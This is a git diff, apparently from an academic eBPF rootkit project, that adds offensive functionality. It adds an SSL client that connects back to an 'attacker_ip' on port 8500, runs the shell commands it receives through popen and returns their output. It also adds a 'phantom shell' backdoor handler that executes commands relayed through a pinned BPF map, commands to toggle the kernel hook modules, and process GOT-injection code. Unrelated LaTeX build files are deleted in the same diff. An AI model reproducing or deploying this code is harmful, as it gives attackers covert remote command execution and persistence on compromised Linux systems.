||||
printf("parent process is exiting\n");
|
||||
return(0);
|
||||
|
||||
|
||||
|
||||
}
|
||||
Binary file not shown.
@@ -3,7 +3,7 @@
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
//Packet_t structure
|
||||
//Packet_t and stream_t structures
|
||||
typedef struct packet_t{
|
||||
struct iphdr *ipheader;
|
||||
struct tcphdr *tcpheader;
|
||||
@@ -12,6 +12,17 @@ typedef struct packet_t{
|
||||
char* packet;
|
||||
}packet_t;
|
||||
|
||||
typedef struct stream_t{
|
||||
packet_t* packet_stream;
|
||||
int stream_length;
|
||||
}stream_t;
|
||||
|
||||
typedef enum{
|
||||
TYPE_TCP_SEQ_RAW,
|
||||
TYPE_TCP_ACK_RAW,
|
||||
TYPE_TCP_SRC_PORT
|
||||
}stream_inject_type_t;
|
||||
|
||||
//PacketForger headers
|
||||
packet_t build_standard_packet(
|
||||
u_int16_t source_port,
|
||||
@@ -22,10 +33,26 @@ packet_t build_standard_packet(
|
||||
char* payload
|
||||
);
|
||||
|
||||
stream_t build_standard_packet_stream_empty_payload(
|
||||
int stream_length,
|
||||
u_int16_t source_port,
|
||||
u_int16_t destination_port,
|
||||
const char* source_ip_address,
|
||||
const char* destination_ip_address
|
||||
);
|
||||
|
||||
stream_t stream_inject(stream_t stream, stream_inject_type_t type, char* payload, int payload_length);
|
||||
|
||||
int packet_destroy(packet_t packet);
|
||||
|
||||
void stream_destroy(stream_t stream);
|
||||
|
||||
int set_TCP_flags(packet_t packet, int hex_flags);
|
||||
|
||||
int set_TCP_seq_num(packet_t packet, u_int32_t bytes);
|
||||
|
||||
int set_TCP_src_port(packet_t packet, u_int16_t bytes);
|
||||
|
||||
//SocketManager headers
|
||||
int rawsocket_send(packet_t packet);
|
||||
|
||||
|
||||
Binary file not shown.
@@ -96,3 +96,69 @@ int setup_all_modules(){
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int activate_all_modules_config(){
|
||||
//XDP
|
||||
module_config.xdp_module.all = ON;
|
||||
|
||||
//SCHED
|
||||
module_config.sched_module.all = ON;
|
||||
|
||||
//FS (File system)
|
||||
module_config.fs_module.all = ON;
|
||||
|
||||
//EXEC
|
||||
module_config.exec_module.all = ON;
|
||||
|
||||
//INJECTION
|
||||
module_config.injection_module.all = ON;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int deactivate_all_modules_config(){
|
||||
//XDP
|
||||
module_config.xdp_module.all = OFF;
|
||||
|
||||
//SCHED
|
||||
module_config.sched_module.all = OFF;
|
||||
|
||||
//FS (File system)
|
||||
module_config.fs_module.all = OFF;
|
||||
|
||||
//EXEC
|
||||
module_config.exec_module.all = OFF;
|
||||
|
||||
//INJECTION
|
||||
module_config.injection_module.all = OFF;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int unhook_all_modules(){
|
||||
//Alias
|
||||
module_config_attr_t attr = module_config_attr;
|
||||
int ret;
|
||||
|
||||
//XDP
|
||||
ret = detach_xdp_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//SCHED
|
||||
ret = detach_sched_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//FS (File system)
|
||||
ret = detach_fs_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//EXEC
|
||||
ret = detach_exec_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//INJECTION
|
||||
detach_injection_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -81,4 +81,26 @@ extern module_config_attr_t module_config_attr;
|
||||
*/
|
||||
int setup_all_modules();
|
||||
|
||||
/**
|
||||
* @brief Removes all hooks, independently on the module_config.
|
||||
* Useful for reloading the modules.
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
int unhook_all_modules();
|
||||
|
||||
/**
|
||||
* @brief Sets the module_config with all hooks activated
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
int activate_all_modules_config();
|
||||
|
||||
/**
|
||||
* @brief Sets the module_config with all hooks deactivated
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
int deactivate_all_modules_config();
|
||||
|
||||
#endif
|
||||
@@ -14,7 +14,6 @@
|
||||
|
||||
int manage_injection(const struct rb_event* event){
|
||||
char mem_file_name[100];
|
||||
__u64 buf = (__u64)CODE_CAVE_ADDRESS_STATIC;
|
||||
int mem_fd;
|
||||
|
||||
|
||||
@@ -26,7 +25,9 @@ int manage_injection(const struct rb_event* event){
|
||||
mem_fd = open(mem_file_name, O_RDWR);
|
||||
//lseek(mem_fd, event->got_address, SEEK_SET);
|
||||
|
||||
/*for(int ii=0; ii<sizeof(__u64); ii++){
|
||||
/*You can activate this to test overwritting GOT from eBPF
|
||||
__u64 buf = (__u64)CODE_CAVE_ADDRESS_STATIC;
|
||||
for(int ii=0; ii<sizeof(__u64); ii++){
|
||||
if(write(mem_fd, (void*)&buf+ii, 1) < 0 ){
|
||||
perror("Error while writing at GOT");
|
||||
return -1;
|
||||
|
||||
185
src/user/include/utils/network/ssl_client.h
Normal file
185
src/user/include/utils/network/ssl_client.h
Normal file
@@ -0,0 +1,185 @@
|
||||
// This is based from the following tutorial:
|
||||
// https://aticleworld.com/ssl-server-client-using-openssl-in-c/
|
||||
#include <errno.h>
|
||||
#include <malloc.h>
|
||||
#include <netdb.h>
|
||||
#include <openssl/err.h>
|
||||
#include <openssl/ssl.h>
|
||||
#include <resolv.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define LOCAL_ABORT() \
|
||||
do { \
|
||||
printf("Abort at %s:%d\n", __FILE__, __LINE__); \
|
||||
return -1; \
|
||||
} while (0)
|
||||
|
||||
/**
|
||||
* @brief Executes a command in a pseudo terminal and returns stdout result
|
||||
*
|
||||
* @param command
|
||||
* @return char*
|
||||
*/
|
||||
char *execute_command(char *command) {
|
||||
FILE *fp;
|
||||
char *res = calloc(4096, sizeof(char));
|
||||
char buf[1024];
|
||||
|
||||
fp = popen(command, "r");
|
||||
if (fp == NULL) {
|
||||
perror("Failed to run command");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
while (fgets(buf, sizeof(buf), fp) != NULL) {
|
||||
strcat(res, buf);
|
||||
}
|
||||
// printf("RESULT OF COMMAND: %s\n", res);
|
||||
|
||||
pclose(fp);
|
||||
return res;
|
||||
}
|
||||
|
||||
int client_run(char *hostname, uint16_t portnum) {
|
||||
SSL_CTX *ctx;
|
||||
int server;
|
||||
SSL *ssl;
|
||||
static char buf[1024 * 1024];
|
||||
int bytes;
|
||||
|
||||
struct hostent *host;
|
||||
struct sockaddr_in addr;
|
||||
const SSL_METHOD *method;
|
||||
|
||||
// Initialize the SSL library
|
||||
SSL_library_init();
|
||||
|
||||
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
|
||||
SSL_load_error_strings(); /* Bring in and register error messages */
|
||||
method = TLSv1_2_client_method(); /* Create new client-method instance */
|
||||
ctx = SSL_CTX_new(method); /* Create new context */
|
||||
if (ctx == NULL) {
|
||||
ERR_print_errors_fp(stderr);
|
||||
LOCAL_ABORT();
|
||||
}
|
||||
|
||||
if ((host = gethostbyname(hostname)) == NULL) {
|
||||
perror(hostname);
|
||||
LOCAL_ABORT();
|
||||
}
|
||||
server = socket(PF_INET, SOCK_STREAM, 0);
|
||||
bzero(&addr, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(portnum);
|
||||
addr.sin_addr.s_addr = *(long *)(host->h_addr);
|
||||
|
||||
int conn_tries = 3;
|
||||
while (conn_tries >= 0) {
|
||||
if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
if (conn_tries > 1) {
|
||||
conn_tries--;
|
||||
printf("Failed to connect, trying again. Remaining tries: %i\n",
|
||||
conn_tries);
|
||||
sleep(1);
|
||||
continue;
|
||||
}
|
||||
close(server);
|
||||
perror(hostname);
|
||||
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
|
||||
portnum);
|
||||
LOCAL_ABORT();
|
||||
} else {
|
||||
// Connected
|
||||
conn_tries = -1;
|
||||
}
|
||||
}
|
||||
|
||||
ssl = SSL_new(ctx); /* create new SSL connection state */
|
||||
SSL_set_fd(ssl, server); /* attach the socket descriptor */
|
||||
conn_tries = 3;
|
||||
int connection_terminate = 0;
|
||||
while (conn_tries > 0 && connection_terminate == 0) {
|
||||
if (SSL_connect(ssl) <= 0) {
|
||||
// Connection failed
|
||||
conn_tries--;
|
||||
printf("Failed to establish SSL connection, trying again. Remaining "
|
||||
"tries: %i\n",
|
||||
conn_tries);
|
||||
ERR_print_errors_fp(stderr);
|
||||
sleep(1);
|
||||
} else {
|
||||
// Connection success
|
||||
X509 *cert;
|
||||
char *line;
|
||||
conn_tries = 0;
|
||||
printf("\nConnected with %s encryption\n", SSL_get_cipher(ssl));
|
||||
|
||||
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
|
||||
if (cert != NULL) {
|
||||
printf("Server certificates:\n");
|
||||
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
|
||||
printf("Subject: %s\n", line);
|
||||
free(line);
|
||||
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
|
||||
printf("Issuer: %s\n\n", line);
|
||||
free(line);
|
||||
X509_free(cert);
|
||||
} else {
|
||||
printf("Info: No client certificates configured.\n");
|
||||
}
|
||||
|
||||
while(connection_terminate == 0){
|
||||
|
||||
bytes = SSL_read(ssl, buf, sizeof(buf)); // Get request
|
||||
buf[bytes] = '\0';
|
||||
|
||||
printf("Raw server msg:\n[%s]\n", buf);
|
||||
|
||||
// If valid message in protocol, we proceed to parse it
|
||||
if (strncmp(buf, CC_PROT_BASH_COMMAND_REQUEST, strlen(CC_PROT_BASH_COMMAND_REQUEST)) == 0) {
|
||||
if (bytes > 0) {
|
||||
// printf("Reply with:\n[%s]\n", response);
|
||||
char *p;
|
||||
p = strtok(buf, "#");
|
||||
p = strtok(NULL, "#");
|
||||
if (p) {
|
||||
char *res = execute_command(p);
|
||||
char *response = calloc(4096, sizeof(char));
|
||||
if(res==NULL){
|
||||
strcpy(response, CC_PROT_ERR);
|
||||
}else{
|
||||
strcpy(response, CC_PROT_BASH_COMMAND_RESPONSE);
|
||||
strcat(response, res);
|
||||
}
|
||||
printf("Answering: \n%s\n", response);
|
||||
SSL_write(ssl, response, strlen(response));
|
||||
free(response);
|
||||
} else {
|
||||
printf("Could not parse message correctly, ignoring\n");
|
||||
}
|
||||
} else {
|
||||
ERR_print_errors_fp(stderr);
|
||||
}
|
||||
}else if (strncmp(buf, CC_PROT_FIN, strlen(CC_PROT_FIN)) == 0) {
|
||||
printf("Server requested to stop the connection\n");
|
||||
connection_terminate = 1;
|
||||
}else {
|
||||
//If at this point, then we failed to identify the server message
|
||||
printf("Message not recognizable: %s\n", buf);
|
||||
char *response = CC_PROT_ERR;
|
||||
SSL_write(ssl, response, strlen(response));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
printf("SSL client closed\n");
|
||||
close(server); /* close socket */
|
||||
SSL_CTX_free(ctx); /* release context */
|
||||
|
||||
return 0;
|
||||
}
|
||||
205
src/user/kit.c
205
src/user/kit.c
@@ -1,3 +1,4 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <argp.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
@@ -5,8 +6,15 @@
|
||||
#include <sys/resource.h>
|
||||
#include <bpf/libbpf.h>
|
||||
#include <linux/if_link.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <netinet/in.h>
|
||||
#include <net/if.h>
|
||||
#include <unistd.h>
|
||||
#include <locale.h>
|
||||
#include <dlfcn.h>
|
||||
#include <link.h>
|
||||
|
||||
@@ -16,21 +24,71 @@
|
||||
|
||||
#include "../common/constants.h"
|
||||
#include "../common/map_common.h"
|
||||
#include "../common/c&c.h"
|
||||
#include "../common/struct_common.h"
|
||||
#include "include/utils/files/path.h"
|
||||
#include "include/utils/strings/regex.h"
|
||||
#include "include/utils/structures/fdlist.h"
|
||||
#include "include/modules/module_manager.h"
|
||||
#include "include/utils/network/ssl_client.h"
|
||||
#include "include/utils/mem/injection.h"
|
||||
|
||||
#define ABORT_IF_ERR(err, msg)\
|
||||
if(err<0){\
|
||||
fprintf(stderr, msg);\
|
||||
goto cleanup\
|
||||
}
|
||||
|
||||
static int FD_TC_MAP;
|
||||
__u32 ifindex; //Interface to which the rootkit connects
|
||||
char* local_ip;
|
||||
|
||||
static struct env {
|
||||
bool verbose;
|
||||
} env;
|
||||
|
||||
int check_map_fd_info(int map_fd, struct bpf_map_info *info, struct bpf_map_info *exp){
|
||||
__u32 info_len = sizeof(*info);
|
||||
int err;
|
||||
|
||||
if (map_fd < 0)
|
||||
return -1;
|
||||
|
||||
err = bpf_obj_get_info_by_fd(map_fd, info, &info_len);
|
||||
if (err) {
|
||||
fprintf(stderr, "ERR: %s() can't get info - %s\n",
|
||||
__func__, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (exp->key_size && exp->key_size != info->key_size) {
|
||||
fprintf(stderr, "ERR: %s() "
|
||||
"Map key size(%d) mismatch expected size(%d)\n",
|
||||
__func__, info->key_size, exp->key_size);
|
||||
return -1;
|
||||
}
|
||||
if (exp->value_size && exp->value_size != info->value_size) {
|
||||
fprintf(stderr, "ERR: %s() "
|
||||
"Map value size(%d) mismatch expected size(%d)\n",
|
||||
__func__, info->value_size, exp->value_size);
|
||||
return -1;
|
||||
}
|
||||
if (exp->max_entries && exp->max_entries != info->max_entries) {
|
||||
fprintf(stderr, "ERR: %s() "
|
||||
"Map max_entries(%d) mismatch expected size(%d)\n",
|
||||
__func__, info->max_entries, exp->max_entries);
|
||||
return -1;
|
||||
}
|
||||
if (exp->type && exp->type != info->type) {
|
||||
fprintf(stderr, "ERR: %s() "
|
||||
"Map type(%d) mismatch expected type(%d)\n",
|
||||
__func__, info->type, exp->type);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void print_help_dialog(const char* arg){
|
||||
|
||||
printf("\nUsage: %s ./kit OPTION\n\n", arg);
|
||||
@@ -91,6 +149,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
//For time displaying
|
||||
struct tm *tm;
|
||||
char ts[32];
|
||||
int ret;
|
||||
time_t t;
|
||||
time(&t);
|
||||
tm = localtime(&t);
|
||||
@@ -105,6 +164,94 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
|
||||
}else if(e->event_type == EXIT){
|
||||
|
||||
}else if(e->event_type == COMMAND){
|
||||
printf("%s COMMAND pid:%d code:%i\n", ts, e->pid, e->code);
|
||||
char attacker_ip[INET_ADDRSTRLEN];
|
||||
switch(e->code){
|
||||
case CC_PROT_COMMAND_ENCRYPTED_SHELL:
|
||||
//TODO EXTRACT IP FROM KERNEL BUFFER
|
||||
inet_ntop(AF_INET, &e->client_ip, attacker_ip, INET_ADDRSTRLEN);
|
||||
printf("Starting encrypted connection with ip: %s\n", attacker_ip);
|
||||
client_run(attacker_ip, 8500);
|
||||
break;
|
||||
case CC_PROT_COMMAND_HOOK_ACTIVATE_ALL:
|
||||
printf("Activating all hooks as requested\n");
|
||||
activate_all_modules_config();
|
||||
ret = unhook_all_modules();
|
||||
if(ret<0) printf("Failed to complete command: unhook all\n");
|
||||
ret = setup_all_modules();
|
||||
if(ret<0) printf("Failed to complete command: setup modules\n");
|
||||
break;
|
||||
case CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL:
|
||||
printf("Deactivating all hooks as requested\n");
|
||||
deactivate_all_modules_config();
|
||||
ret = unhook_all_modules();
|
||||
if(ret<0) printf("Failed to complete command: unhook all\n");
|
||||
break;
|
||||
default:
|
||||
printf("Command received unknown: %d\n", e->code);
|
||||
}
|
||||
}else if(e->event_type == PSH_UPDATE){
|
||||
printf("Requested to update the phantom shell\n");
|
||||
int key = 1;
|
||||
struct backdoor_phantom_shell_data data;
|
||||
struct bpf_map_info map_expect = {0};
|
||||
struct bpf_map_info info = {0};
|
||||
FD_TC_MAP = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
|
||||
printf("TC MAP ID: %i\n", FD_TC_MAP);
|
||||
map_expect.key_size = sizeof(__u64);
|
||||
map_expect.value_size = sizeof(struct backdoor_phantom_shell_data);
|
||||
map_expect.max_entries = 1;
|
||||
int err = check_map_fd_info(FD_TC_MAP, &info, &map_expect);
|
||||
if (err) {
|
||||
fprintf(stderr, "ERR: map via FD not compatible\n");
|
||||
return err;
|
||||
}
|
||||
err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
|
||||
if(err<0) {
|
||||
printf("Failed to read the shared map: %d\n", err);
|
||||
return -1;
|
||||
}
|
||||
printf("Pre value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
||||
data.active = e->bps_data.active;
|
||||
data.d_ip = e->bps_data.d_ip;
|
||||
data.d_port = e->bps_data.d_port;
|
||||
if(strncmp(e->bps_data.payload, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))!=0){
|
||||
//Means that we invoked the command with another payload, thus this is not the first call
|
||||
//We are tasked with first trying to execute the command
|
||||
printf("Executing requested command: \n%s\n", e->bps_data.payload);
|
||||
char *p;
|
||||
char* buf = calloc(4096, sizeof(char));
|
||||
strcpy(buf, e->bps_data.payload);
|
||||
p = strtok((char*)buf, "#");
|
||||
p = strtok(NULL, "#");
|
||||
if (p) {
|
||||
//printf("Executing command: %s\n", p);
|
||||
char *res = execute_command((char*)p);
|
||||
char *response = calloc(4096, sizeof(char));
|
||||
if(res==NULL){
|
||||
strcpy(response, CC_PROT_ERR);
|
||||
}else{
|
||||
strcpy(response, CC_PROT_PHANTOM_COMMAND_RESPONSE);
|
||||
strcat(response, res);
|
||||
}
|
||||
//printf("Answering to phantom shell: \n%s\n", response);
|
||||
memcpy(data.payload, response, 64);
|
||||
free(response);
|
||||
free(buf);
|
||||
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
||||
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
||||
return 0;
|
||||
|
||||
}else{
|
||||
printf("Failed to parse command\n");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
//Init connection with phantom shell
|
||||
memcpy(data.payload, e->bps_data.payload, 64);
|
||||
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
||||
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
||||
}else if(e->event_type == VULN_SYSCALL){
|
||||
//eBPF detected syscall which can lead to library injection
|
||||
printf("%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
|
||||
@@ -112,17 +259,18 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
printf("Library injection failed\n");
|
||||
}
|
||||
}else{
|
||||
printf("UNRECOGNIZED RB EVENT RECEIVED");
|
||||
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char**argv){
|
||||
struct ring_buffer *rb = NULL;
|
||||
struct kit_bpf *skel;
|
||||
struct bpf_map_info map_expect = {0};
|
||||
struct bpf_map_info info = {0};
|
||||
__u32 err;
|
||||
|
||||
//Ready to be used
|
||||
@@ -132,8 +280,6 @@ int main(int argc, char**argv){
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}*/
|
||||
|
||||
__u32 ifindex;
|
||||
|
||||
/* Parse command line arguments */
|
||||
int opt;
|
||||
@@ -146,6 +292,16 @@ int main(int argc, char**argv){
|
||||
perror("Error on input interface");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int fd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
struct ifreq ifr;
|
||||
//Type of address to retrieve - IPv4 IP address
|
||||
ifr.ifr_addr.sa_family = AF_INET;
|
||||
//Copy the interface name in the ifreq structure
|
||||
strncpy(ifr.ifr_name , optarg , IFNAMSIZ-1);
|
||||
ioctl(fd, SIOCGIFADDR, &ifr);
|
||||
close(fd);
|
||||
local_ip = inet_ntoa(( (struct sockaddr_in *)&ifr.ifr_addr )->sin_addr);
|
||||
printf("%s - %s\n" , optarg , local_ip );
|
||||
break;
|
||||
case 'v':
|
||||
//Verbose output
|
||||
@@ -188,6 +344,8 @@ int main(int argc, char**argv){
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
//Load & verify BPF program
|
||||
err = kit_bpf__load(skel);
|
||||
if (err) {
|
||||
@@ -195,6 +353,45 @@ int main(int argc, char**argv){
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
FD_TC_MAP = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
|
||||
printf("TC MAP ID: %i\n", FD_TC_MAP);
|
||||
map_expect.key_size = sizeof(__u64);
|
||||
map_expect.value_size = sizeof(struct backdoor_phantom_shell_data);
|
||||
map_expect.max_entries = 1;
|
||||
err = check_map_fd_info(FD_TC_MAP, &info, &map_expect);
|
||||
if (err) {
|
||||
fprintf(stderr, "ERR: map via FD not compatible\n");
|
||||
return err;
|
||||
}
|
||||
printf("Collected stats from BPF map:\n");
|
||||
printf(" - BPF map (bpf_map_type:%d) id:%d name:%s"
|
||||
" key_size:%d value_size:%d max_entries:%d\n",
|
||||
info.type, info.id, info.name,
|
||||
info.key_size, info.value_size, info.max_entries
|
||||
);
|
||||
int key = 1;
|
||||
struct backdoor_phantom_shell_data data;
|
||||
err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
|
||||
if(err<0) {
|
||||
printf("Failed to lookup element\n");
|
||||
}
|
||||
printf("Value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
|
||||
//bpf_map_update_elem(tc_efd, &key, &data, 0);
|
||||
|
||||
/*bpf_obj_get(NULL);
|
||||
char* DIRECTORY_PIN = "/sys/fs/bpf/mymaps";
|
||||
err = bpf_object__unpin_maps(skel->obj, DIRECTORY_PIN);
|
||||
if (err) {
|
||||
fprintf(stderr, "ERR: UNpinning maps in %s\n",DIRECTORY_PIN);
|
||||
//return -1;
|
||||
}
|
||||
err = bpf_object__pin_maps(skel->obj, DIRECTORY_PIN);
|
||||
if (err) {
|
||||
fprintf(stderr, "ERR: pinning maps in %s\n",DIRECTORY_PIN);
|
||||
return -1;
|
||||
}
|
||||
bpf_map__pin(skel->maps.backdoor_phantom_shell, DIRECTORY_PIN);*/
|
||||
|
||||
//Attach XDP and sched modules using module manager
|
||||
//and setup the parameters for the installation
|
||||
//XDP
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
.PHONY: document.pdf all clean
|
||||
|
||||
all: document.pdf
|
||||
|
||||
document.pdf: document.tex
|
||||
latexmk -pdf -pdflatex="pdflatex -interaction=nonstopmode" -use-make document.tex
|
||||
|
||||
clean:
|
||||
latexmk -CA
|
||||
1283
xx/Makefile.log
1283
xx/Makefile.log
File diff suppressed because it is too large
Load Diff
@@ -1,21 +0,0 @@
|
||||
This is pdfTeX, Version 3.14159265-2.6-1.40.21 (TeX Live 2020/Debian) (preloaded format=pdflatex 2022.4.27) 27 APR 2022 20:08
|
||||
entering extended mode
|
||||
restricted \write18 enabled.
|
||||
%&-line parsing enabled.
|
||||
**bibliography.tex
|
||||
|
||||
! Emergency stop.
|
||||
<*> bibliography.tex
|
||||
|
||||
*** (job aborted, file error in nonstop mode)
|
||||
|
||||
|
||||
Here is how much of TeX's memory you used:
|
||||
2 strings out of 481209
|
||||
102 string characters out of 5914747
|
||||
266276 words of memory out of 5000000
|
||||
17052 multiletter control sequences out of 15000+600000
|
||||
403430 words of font info for 27 fonts, out of 8000000 for 9000
|
||||
36 hyphenation exceptions out of 8191
|
||||
0i,0n,0p,1b,6s stack positions out of 5000i,500n,10000p,200000b,80000s
|
||||
! ==> Fatal error occurred, no output PDF file produced!
|
||||
@@ -1,2 +0,0 @@
|
||||
os.remove("creationdate.timestamp")
|
||||
io.output("creationdate.timestamp"):write(os.date("\\edef\\tempa{\\string D:%Y%m%d%H%M%S}\n\\def\\tempb{%z}"))
|
||||
@@ -1,20 +0,0 @@
|
||||
% $ biblatex auxiliary file $
|
||||
% $ biblatex bbl format version 3.1 $
|
||||
% Do not modify the above lines!
|
||||
%
|
||||
% This is an auxiliary file used by the 'biblatex' package.
|
||||
% This file may safely be deleted. It will be recreated by
|
||||
% biber as required.
|
||||
%
|
||||
\begingroup
|
||||
\makeatletter
|
||||
\@ifundefined{ver@biblatex.sty}
|
||||
{\@latex@error
|
||||
{Missing 'biblatex' package}
|
||||
{The bibliography requires the 'biblatex' package.}
|
||||
\aftergroup\endinput}
|
||||
{}
|
||||
\endgroup
|
||||
|
||||
\endinput
|
||||
|
||||
BIN
xx/document.pdf
BIN
xx/document.pdf
Binary file not shown.
@@ -1,88 +0,0 @@
|
||||
<?xml version="1.0" standalone="yes"?>
|
||||
<!-- logreq request file -->
|
||||
<!-- logreq version 1.0 / dtd version 1.0 -->
|
||||
<!-- Do not edit this file! -->
|
||||
<!DOCTYPE requests [
|
||||
<!ELEMENT requests (internal | external)*>
|
||||
<!ELEMENT internal (generic, (provides | requires)*)>
|
||||
<!ELEMENT external (generic, cmdline?, input?, output?, (provides | requires)*)>
|
||||
<!ELEMENT cmdline (binary, (option | infile | outfile)*)>
|
||||
<!ELEMENT input (file)+>
|
||||
<!ELEMENT output (file)+>
|
||||
<!ELEMENT provides (file)+>
|
||||
<!ELEMENT requires (file)+>
|
||||
<!ELEMENT generic (#PCDATA)>
|
||||
<!ELEMENT binary (#PCDATA)>
|
||||
<!ELEMENT option (#PCDATA)>
|
||||
<!ELEMENT infile (#PCDATA)>
|
||||
<!ELEMENT outfile (#PCDATA)>
|
||||
<!ELEMENT file (#PCDATA)>
|
||||
<!ATTLIST requests
|
||||
version CDATA #REQUIRED
|
||||
>
|
||||
<!ATTLIST internal
|
||||
package CDATA #REQUIRED
|
||||
priority (9) #REQUIRED
|
||||
active (0 | 1) #REQUIRED
|
||||
>
|
||||
<!ATTLIST external
|
||||
package CDATA #REQUIRED
|
||||
priority (1 | 2 | 3 | 4 | 5 | 6 | 7 | 8) #REQUIRED
|
||||
active (0 | 1) #REQUIRED
|
||||
>
|
||||
<!ATTLIST provides
|
||||
type (static | dynamic | editable) #REQUIRED
|
||||
>
|
||||
<!ATTLIST requires
|
||||
type (static | dynamic | editable) #REQUIRED
|
||||
>
|
||||
<!ATTLIST file
|
||||
type CDATA #IMPLIED
|
||||
>
|
||||
]>
|
||||
<requests version="1.0">
|
||||
<internal package="biblatex" priority="9" active="0">
|
||||
<generic>latex</generic>
|
||||
<provides type="dynamic">
|
||||
<file>document.bcf</file>
|
||||
</provides>
|
||||
<requires type="dynamic">
|
||||
<file>document.bbl</file>
|
||||
</requires>
|
||||
<requires type="static">
|
||||
<file>blx-dm.def</file>
|
||||
<file>blx-compat.def</file>
|
||||
<file>biblatex.def</file>
|
||||
<file>standard.bbx</file>
|
||||
<file>numeric.bbx</file>
|
||||
<file>numeric-comp.bbx</file>
|
||||
<file>ieee.bbx</file>
|
||||
<file>numeric-comp.cbx</file>
|
||||
<file>ieee.cbx</file>
|
||||
<file>biblatex.cfg</file>
|
||||
<file>english.lbx</file>
|
||||
</requires>
|
||||
</internal>
|
||||
<external package="biblatex" priority="5" active="0">
|
||||
<generic>biber</generic>
|
||||
<cmdline>
|
||||
<binary>biber</binary>
|
||||
<infile>document</infile>
|
||||
</cmdline>
|
||||
<input>
|
||||
<file>document.bcf</file>
|
||||
</input>
|
||||
<output>
|
||||
<file>document.bbl</file>
|
||||
</output>
|
||||
<provides type="dynamic">
|
||||
<file>document.bbl</file>
|
||||
</provides>
|
||||
<requires type="dynamic">
|
||||
<file>document.bcf</file>
|
||||
</requires>
|
||||
<requires type="editable">
|
||||
<file>bibliography/bibliography.bib</file>
|
||||
</requires>
|
||||
</external>
|
||||
</requests>
|
||||
355
xx/document.tex
355
xx/document.tex
@@ -1,355 +0,0 @@
|
||||
|
||||
|
||||
%----------
|
||||
% DOCUMENT CONFIGURATION
|
||||
%----------
|
||||
|
||||
\documentclass[12pt]{report} %font 12pt
|
||||
|
||||
% MARGINS
|
||||
\usepackage[
|
||||
a4paper,
|
||||
vmargin=2.5cm,
|
||||
hmargin=3cm
|
||||
]{geometry}
|
||||
|
||||
\renewcommand{\baselinestretch}{1.15}
|
||||
\parskip=6pt
|
||||
|
||||
% COLORS for cover and code
|
||||
\usepackage[table]{xcolor}
|
||||
\definecolor{azulUC3M}{RGB}{0,0,102}
|
||||
\definecolor{gray97}{gray}{.97}
|
||||
\definecolor{gray75}{gray}{.75}
|
||||
\definecolor{gray45}{gray}{.45}
|
||||
|
||||
